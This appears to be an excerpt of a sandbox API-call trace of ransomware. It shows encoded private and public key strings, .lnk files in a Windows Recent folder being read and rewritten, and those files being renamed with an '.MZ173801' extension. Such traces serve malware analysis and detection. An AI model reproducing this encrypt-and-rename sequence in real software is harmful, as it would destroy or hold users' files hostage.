(lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m CS2FXbWa5.lnk", dwFileAttributes=0x80) returned 1 [0148.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0148.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0148.714] GetCurrentThreadId () returned 0xab4 [0148.714] GetCurrentThreadId () returned 0xab4 [0148.714] GetCurrentThreadId () returned 0xab4 [0148.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0148.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0148.715] GetCurrentThreadId () returned 0xab4 [0148.715] GetCurrentThreadId () returned 0xab4 [0148.716] GetCurrentThreadId () returned 0xab4 [0148.716] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m CS2FXbWa5.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\m cs2fxbwa5.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.716] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0148.716] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.716] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3cb [0148.717] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.717] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3cb, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3cb, lpOverlapped=0x0) returned 1 [0148.726] CloseHandle (hObject=0x280) returned 1 [0148.726] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m CS2FXbWa5.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\m cs2fxbwa5.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.728] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3cb, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3cb, lpOverlapped=0x0) returned 1 [0148.729] CloseHandle (hObject=0x280) returned 1 [0148.730] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m CS2FXbWa5.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\m cs2fxbwa5.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m CS2FXbWa5.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\m cs2fxbwa5.lnk.mz173801")) returned 1 [0148.749] GetCurrentThreadId () returned 0xab4 [0148.749] GetCurrentThreadId () returned 0xab4 [0148.749] GetCurrentThreadId () returned 0xab4 [0148.795] GetCurrentThreadId () returned 0xab4 [0148.795] GetCurrentThreadId () returned 0xab4 [0148.795] GetCurrentThreadId () returned 0xab4 [0148.795] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e0dffaf, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4e0dffaf, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4e0dffaf, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="m5j0.lnk", cAlternateFileName="")) returned 1 [0148.795] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0148.795] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0148.795] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m5j0.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\m5j0.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e0dffaf, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4e0dffaf, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4e0dffaf, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x47a)) returned 1 [0148.796] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m5j0.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\m5j0.lnk")) returned 0x20 [0148.796] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m5j0.lnk", dwFileAttributes=0x80) returned 1 [0148.798] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0148.798] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 